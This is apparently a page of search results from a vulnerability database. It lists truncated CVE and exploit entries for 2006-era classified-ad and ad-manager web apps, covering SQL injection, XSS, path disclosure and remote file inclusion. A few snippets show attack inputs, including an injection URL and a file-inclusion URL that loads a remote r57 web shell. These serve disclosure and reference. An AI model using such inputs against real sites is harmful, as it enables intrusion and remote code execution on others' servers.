3765 matches found
The Classified Ad System 1.0 (main) Remote SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================ The Classified Ad System 1.0 main Remote SQL Injection Exploit ================================================================ !/usr/bin/perl Script Name: The Classified Ad...
CVE-2006-6349
Multiple SQL injection vulnerabilities in PWP Technologies The Classified Ad System allow remote attackers to execute arbitrary SQL commands via 1 the main parameter in a view action includes/mainpage/view.asp in default.asp or 2 a query in the search engine...
CVE-2006-6349
CVE-2006-6349 covers multiple SQL injection vulnerabilities in PWP Technologies The Classified Ad System. An attacker can remotely execute arbitrary SQL via (1) the main parameter in a view action (includes/mainpage/view.asp) in default.asp or (2) a query in the search engine. The NVD entry cites...
CVE-2006-6349
Multiple SQL injection vulnerabilities in PWP Technologies The Classified Ad System allow remote attackers to execute arbitrary SQL commands via 1 the main parameter in a view action includes/mainpage/view.asp in default.asp or 2 a query in the search engine...
CVE-2006-6349: Improper Neutralization of Special Elements used in an SQL Command
Multiple SQL injection vulnerabilities in PWP Technologies The Classified Ad System allow remote attackers to execute arbitrary SQL commands via 1 the main parameter in a view action includes/mainpage/view.asp in default.asp or 2 a query in the search engine...
The Classified Ad System [multiple xss & injection sql]
vendor site: http://www.rockfordarea.com/ product : The Classified Ad System bug: multiple xss get & injection sql risk : medium injection sql get: /default.asp?action=view&main='sql injection sql post : just post your query into the search engine xss : /default.asp?action=view1&cat=xss...
CVE-2006-3494
Multiple cross-site scripting XSS vulnerabilities in Buddy Zone 1.0.1 allow remote attackers to inject arbitrary HTML and web script via the 1 catid parameter to a viewclassifieds.php; 2 id parameter in b viewad.php; 3 eventid parameter in c viewevent.php, d deleteevent.php, and e editevent.php;...
Buddy Zone Version 1.0.1 - XSS
Buddy Zone Version 1.0.1 Homepage: http://www.vastal.com/buddy-zone-social-networking-script.html Affected files: Sending invitations Profiles Blogs Journals Posting comments Posting in the forum Sending mail Creating a group viewsubforum.php viewpost.php viewclassifieds.php viewad.php...
CVE-2006-3192
PHP remote file inclusion vulnerability in Ad Manager Pro 2.6 allows remote attackers to execute arbitrary PHP code via a URL in the 1 ipath parameter in common.php and 2 unspecified vectors in ad.php...
CVE-2006-3192
CVE-2006-3192 : The NVD entries report a PHP remote file inclusion vulnerability in Ad Manager Pro 2.6 that allows remote attackers to execute arbitrary PHP code via a URL in the (1) ipath parameter in common.php and (2) unspecified vectors in ad.php. The issue is mapped to a CVSSv2 base score of...
CVE-2006-3192: Undefined Security Weakness
PHP remote file inclusion vulnerability in Ad Manager Pro 2.6 allows remote attackers to execute arbitrary PHP code via a URL in the 1 ipath parameter in common.php and 2 unspecified vectors in ad.php...
CVE-2006-3192
PHP remote file inclusion vulnerability in Ad Manager Pro 2.6 allows remote attackers to execute arbitrary PHP code via a URL in the 1 ipath parameter in common.php and 2 unspecified vectors in ad.php...
Ad Manager Pro 2.6 (ipath) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ============================================================ Ad Manager Pro 2.6 ipath Remote File Include Vulnerability ============================================================ Ad Manager Pro 2.6 Remote File Include Vulnerability...
Ad Manager Pro 2.6 (ipath) Remote File Include Vulnerability
No description provided by source. Ad Manager Pro 2.6 Remote File Include Vulnerability homepage: phpwebscripts.com Affected files: ad.php and common.php Credit: Basti Vulnerable Code: if $ipath include$ipath.'/common.php'; else include'./common.php'; Example:...
Ad Manager Pro 2.6 - ipath Remote File Inclusion
Ad Manager Pro 2.6 - ipath Remote File Inclusion Ad Manager Pro 2.6 Remote File Include Vulnerability homepage: phpwebscripts.com Affected files: ad.php and common.php Credit: Basti Vulnerable Code: if $ipath include$ipath.'/common.php'; else include'./common.php'; Example:...
Ad Manager Pro 2.6 - 'ipath' Remote File Inclusion
Ad Manager Pro 2.6 Remote File Include Vulnerability homepage: phpwebscripts.com Affected files: ad.php and common.php Credit: Basti Vulnerable Code: if $ipath include$ipath.'/common.php'; else include'./common.php'; Example: http://site/admanagerpro/common.php?ipath=http://site/r57.txt?...
CVE-2006-3002
Cross-site scripting XSS vulnerability in details.php in Easy Ad-Manager allows remote attackers to inject arbitrary web script or HTML via the mbid parameter, which is reflected in an error message. NOTE: on 20060829, the vendor notified CVE that this issue has been fixed...
CVE-2006-3003
details.php in Easy Ad-Manager allows remote attackers to obtain the full installation path via an invalid mbid parameter, which leaks the path in an error message. NOTE: this might be resultant from another vulnerability, since this vector also produces cross-site scripting XSS. NOTE: on 2006082...
CVE-2006-3003
details.php in Easy Ad-Manager allows remote attackers to obtain the full installation path via an invalid mbid parameter, which leaks the path in an error message. NOTE: this might be resultant from another vulnerability, since this vector also produces cross-site scripting XSS. NOTE: on 2006082...
CVE-2006-3003
CVE-2006-3003 affects Easy Ad-Manager: details.php accepts an invalid mbid parameter which can reveal the full installation path in an error message. The issue may tie to a related XSS vector. The vendor was notified on 2006-08-29 that the issue was fixed. The public details specify the vulnerabi...